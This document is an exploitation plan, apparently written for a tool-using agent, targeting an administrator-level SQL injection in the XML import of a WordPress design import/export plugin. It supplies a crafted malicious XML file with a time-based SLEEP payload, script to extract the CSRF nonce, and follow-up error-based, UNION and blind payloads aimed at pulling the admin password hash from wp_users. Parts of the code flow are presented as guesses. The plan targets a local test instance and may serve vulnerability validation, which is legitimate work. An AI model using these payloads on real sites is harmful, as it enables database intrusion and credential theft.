Exploitation Research Plan: CVE-2025-14050 (Design Import/Export SQL Injection)

1. Vulnerability Summary

The Design Import/Export plugin (version <= 2.2) is vulnerable to an authenticated (Administrator+) SQL injection. The vulnerability exists within the logic that processes imported XML files. Specifically, when the plugin parses certain elements or attributes from a user-uploaded XML file, it fails to sanitize or properly prepare those values before using them in a database query via $wpdb. This allows an administrator to inject arbitrary SQL commands, potentially leading to the extraction of sensitive data (like user hashes) from the WordPress database.

2. Attack Vector Analysis

• Endpoint: The import processing logic, typically triggered via a POST request to an admin page handler (e.g., wp-admin/admin.php?page=design-import-export or a registered admin_post action).
• Hook/Action: Likely registered via admin_init or a specific menu page callback.
• Vulnerable Parameter: A specific XML node value or attribute within the uploaded .xml file (e.g., a design ID, category name, or template slug).
• Authentication Level: Administrator (PR:H).
• Preconditions: The plugin must be active, and the attacker must have valid administrator credentials.

3. Code Flow (Inferred)

1. Entry Point: An administrator navigates to the "Import" tab of the Design Import/Export menu.
2. Upload: The user submits a form with enctype="multipart/form-data" containing an XML file.
3. Handler: A function (likely in an admin class or includes/import-handler.php) receives the file via $_FILES.
4. Parsing: The plugin uses simplexml_load_file() or DOMDocument to parse the XML content.
5. Vulnerable Sink: The code iterates through the XML elements. For each element, a value is extracted and passed into a raw SQL query.
   • Example Pattern: $id = $xml_item->id;
   • Sink: $wpdb->get_results("SELECT * FROM {$wpdb->prefix}some_table WHERE id = $id");
6. Injection: By providing a value like 1 OR (SELECT 1 FROM (SELECT SLEEP(5))a), the attacker manipulates the query logic.

4. Nonce Acquisition Strategy

Since this is an administrator-level action, a security nonce (CSRF protection) is almost certainly required for the file upload.

1. Identify the Page: Navigate to the plugin's main settings/import page.
   • browser_navigate("http://localhost:8080/wp-admin/admin.php?page=design-import-export") (inferred slug).
2. Locate the Nonce: The nonce is likely generated via wp_nonce_field() in the form.
3. Extraction:
   • Use browser_eval to extract the nonce from the hidden input field.
   • const nonce = document.querySelector('input[name="_wpnonce"]')?.value || document.querySelector('input[name="design_import_nonce"]')?.value;
4. Alternative: If the nonce is localized for JS:
   • browser_eval("window.design_import_data?.nonce") (inferred).

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection payload inside the XML file to confirm the vulnerability, then transition to a UNION-based or Error-based extraction if the output is reflected.

Step 1: Craft the Malicious XML

Create a file named exploit.xml. Based on the vulnerability type, we assume the injection point is an ID-like field.

<?xml version="1.0" encoding="UTF-8"?>
<design_export version="2.2">
    <item>
        <!-- Injected SQL payload in the ID or slug field -->
        <id>1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- -</id>
        <title>Malicious Design</title>
    </item>
</design_export>

Step 2: Submit the Exploit

Use the http_request tool to perform a multipart POST request.

• URL: http://localhost:8080/wp-admin/admin.php?page=design-import-export (or the admin-post.php endpoint if applicable).
• Method: POST
• Headers: Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
• Body Parameters:
  • _wpnonce: [Extracted Nonce]
  • action: (e.g., import_design)
  • import_file: [Content of exploit.xml]

Step 3: Observe Latency

A successful injection with SLEEP(5) will result in a response delay of approximately 5 seconds.

6. Test Data Setup

1. Plugin Installation: Ensure design-import-export version 2.2 is installed and activated.
2. User Creation: Ensure an administrator account is available.
3. Target Data: Insert a dummy record if the plugin requires a valid base query to execute the injection (though OR 1=1 usually bypasses this).

7. Expected Results

• Baseline Request: A standard import (or invalid XML) returns immediately.
• Exploit Request: The server hangs for the duration of the SLEEP() command.
• Success Indicator: http_request logs a total_time significantly greater than the sleep value.

8. Verification Steps (Post-Exploit)

To confirm the ability to extract data:

1. Error-Based Payload: Modify the XML to include updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1).
2. Response Check: If WordPress displays database errors (common in WP_DEBUG or if the plugin echoes $wpdb->last_error), the admin password hash will appear in the response body.
3. WP-CLI Verification: Confirm the database state or version manually:
   • wp eval "global \$wpdb; echo \$wpdb->db_version();"

9. Alternative Approaches

• Union-Based: If the plugin displays imported items on the page after upload, use a UNION SELECT payload to reflect the site's auth_key or user_pass in the "Title" or "Description" fields of the imported item.
• Blind Boolean: If no output or errors are shown, use IF(ASCII(SUBSTRING((...))), SLEEP(5), 0) to extract data bit-by-bit.
• Inferred Parameter Names: If id fails, try injecting into <slug>, <name>, <category>, or <type> nodes within the XML. Use grep -r "get_var\|get_results" . in the plugin directory to find exactly which XML tags are mapped to database queries.